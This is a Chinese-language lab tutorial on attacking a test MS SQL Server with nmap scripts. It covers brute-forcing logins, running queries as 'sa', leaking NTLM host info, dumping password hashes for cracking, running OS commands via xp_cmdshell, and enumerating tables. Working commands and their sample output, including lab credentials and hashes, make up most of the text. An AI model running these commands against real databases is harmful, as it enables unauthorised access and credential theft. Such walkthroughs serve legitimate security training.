利用nmap脚本对MS SQL Server 进行渗透测试,获取目标用户名、数据库表等信息。
准备阶段
攻击机器: Kali(装有nmap)
目标机器:Windows Server 2019 (安装SQL Server 2016)
nmap自带一系列用于测试的脚本,用于mssql的脚本可以通过如下语句查询:
$ locate *.nse | grep ms-sql /usr/share/nmap/scripts/broadcast-ms-sql-discover.nse /usr/share/nmap/scripts/ms-sql-brute.nse /usr/share/nmap/scripts/ms-sql-config.nse /usr/share/nmap/scripts/ms-sql-dac.nse /usr/share/nmap/scripts/ms-sql-dump-hashes.nse /usr/share/nmap/scripts/ms-sql-empty-password.nse /usr/share/nmap/scripts/ms-sql-hasdbaccess.nse /usr/share/nmap/scripts/ms-sql-info.nse /usr/share/nmap/scripts/ms-sql-ntlm-info.nse /usr/share/nmap/scripts/ms-sql-query.nse /usr/share/nmap/scripts/ms-sql-tables.nse /usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse
获取数据库版本信息
使用ms-sql-info脚本获取目标数据库版本等信息
nmap -p 1433 -Pn --script ms-sql-info 192.168.91.133 //-p 表示指定端口号、-Pn:不检测主机存活、--script 指定脚本
获取的信息如下:
用户凭证爆破
使用ms-sql-brute脚本可以对数据库用户名和密码进行枚举和爆破
nmap -p 1433 -Pn --script ms-sql-brute --script-args userdb=mssql_user.txt,passdb=mssql_pass.txt 192.168.91.133 // --script-args 指定脚本参数;userdb= 指定用户名字典 ;passdb= 指定密码字典
结果如下:
得到的用户名和密码:
sa:Password@123 pentest:123456
执行SQL语句
利用前面得到的凭据,可以调用nmap的ms-sql-query脚本在目标上执行SQL查询
用法如下:
nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="SQL查询语句" 192.168.91.133
列出目标上的所有数据库
nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="sp_databases" 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 01:57 EDT Nmap scan report for 192.168.91.133 Host is up (0.00051s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-query: | [192.168.91.133:1433] | Query: sp_databases | DATABASE_NAME DATABASE_SIZE REMARKS | ============= ============= ======= | master 7552 Null | model 16384 Null | msdb 21888 Null |_ tempdb 16384 Null Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
NetBIOS 信息收集
利用ms-sql-ntlm-info脚本对启用 了NTLM 身份验证的远程SQL Server主机NetBIOS信息进行收集。
原理是发送无效域和空凭据的MS-TDS NTLM 身份验证请求将导致远程服务以 NTLMSSP 消息进行响应,该消息会泄露包括 NetBIOS、DNS 和操作系统版本信息。
nmap -p1433 -Pn --script ms-sql-ntlm-info 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:08 EDT Nmap scan report for 192.168.91.133 Host is up (0.00053s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-ntlm-info: | Target_Name: WIN-8EIGFF6H8PR | NetBIOS_Domain_Name: WIN-8EIGFF6H8PR | NetBIOS_Computer_Name: WIN-8EIGFF6H8PR | DNS_Domain_Name: WIN-8EIGFF6H8PR | DNS_Computer_Name: WIN-8EIGFF6H8PR |_ Product_Version: 10.0.17763
MSSQL 密码哈希转储
使用ms-sql-dump-hashes可以导出mssql密码哈希,可以提供给John-the-ripper这类工具使用。
nmap -p 1433 -Pn --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:22 EDT Nmap scan report for 192.168.91.133 Host is up (0.0011s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-dump-hashes: | [192.168.91.133:1433] | sa:0x02002df771b8ffe860cb75e4bea87df48dd2fc38c35566eed3bf636aa962b2a24768387120df74d775627ea8ab10cd2339b525706fa0f68cbdff4580fcfddef2cb98493cce87 | ##MS_PolicyEventProcessingLogin##:0x02001be8e4066350f72d7043e3b6fe080efb16a0cf424a4a1f078d84509d013946acaf49c08fdb534044432e474422769e4d43baa399bb094aa532e1333f6ec9c4eb01b4120c | ##MS_PolicyTsqlExecutionLogin##:0x02002f2e008251ee080daa07829e49ef4baf8624e26bc34a37096691751f83b4d7122f8bf1015db9ba5a519f483da5d366712c0fc54f8250ae8ce38db43e8e9f616cd0faab97 |_ pentest:0x020025bc596aaf94a1f764ccaca6cd6d0615cfba0f01140879c21df33959e492254ef66d53ddbfb0c961e3f04bfb376294d7194fcd61b0b6b85b06387d6f975b92a779544ab6 Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
命令执行
xp_cmdshell 是 Microsoft SQL Server 的一项功能,它允许系统管理员执行操作系统命令。默认情况下,xp_cmdshell 选项是禁用的。如果在目标服务器中启用了 xp_cmdshell,可以利用ms-sql-xp-cmdshell脚本在目标机器上执行系统命令。
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133 //ms-sql-xp-cmdshell.cmd= 指定要执行的命令
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:28 EDT Nmap scan report for 192.168.91.133 Host is up (0.00047s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-xp-cmdshell: | [192.168.91.133:1433] | Command: ipconfig | output | ====== | Null | Windows IP \xE9\x85\x8D\xE7\xBD\xAE | Null | Null | \xE4\xBB\xA5\xE5\xA4\xAA\xE7\xBD\x91\xE9\x80\x82\xE9\x85\x8D\xE5\x99\xA8 Ethernet0: | Null | \xE8\xBF\x9E\xE6\x8E\xA5\xE7\x89\xB9\xE5\xAE\x9A\xE7\x9A\x84 DNS \xE5\x90\x8E\xE7\xBC\x80 . . . . . . . : localdomain | \xE6\x9C\xAC\xE5\x9C\xB0\xE9\x93\xBE\xE6\x8E\xA5 IPv6 \xE5\x9C\xB0\xE5\x9D\x80. . . . . . . . : fe80::c0cf:a5e8:ba66:9b8d%6 | IPv4 \xE5\x9C\xB0\xE5\x9D\x80 . . . . . . . . . . . . : 192.168.91.133 | \xE5\xAD\x90\xE7\xBD\x91\xE6\x8E\xA9\xE7\xA0\x81 . . . . . . . . . . . . : 255.255.255.0 | \xE9\xBB\x98\xE8\xAE\xA4\xE7\xBD\x91\xE5\x85\xB3. . . . . . . . . . . . . : 192.168.91.2 |_ Null
空密码登录测试
如果管理员将密码设置为空,那么攻击者就可以直接登录到数据库。
利用ms-sql-empty-password脚本可以对目标进行SQL Server 空密码登录测试
nmap -p1433 -Pn --script ms-sql-empty-password 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:36 EDT Nmap scan report for 192.168.91.133 Host is up (0.00056s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-empty-password: | [192.168.91.133:1433] |_ sa:<empty> => Login Success Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
查看数据库表
ms-sql-tables脚本可以列出目标的数据库表
Tips:默认情况下MSSQL中没有数据库,要新建一个数据库和插入表,不然执行下列脚本会报错。
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133
nmap -p1433 -Pn --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 04:28 EDT Nmap scan report for 192.168.91.133 Host is up (0.00079s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-tables: | [192.168.91.133:1433] | pentest | table column type length | ===== ====== ==== ====== | Table_1 password nchar 40 | Table_1 username nchar 40 | | Restrictions | Output restricted to 2 tables (see ms-sql-tables.maxtables) | Output restricted to 5 databases (see ms-sql-tables.maxdb) |_ No filter (see ms-sql-tables.keywords) Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
本文作者:合天网安实验室
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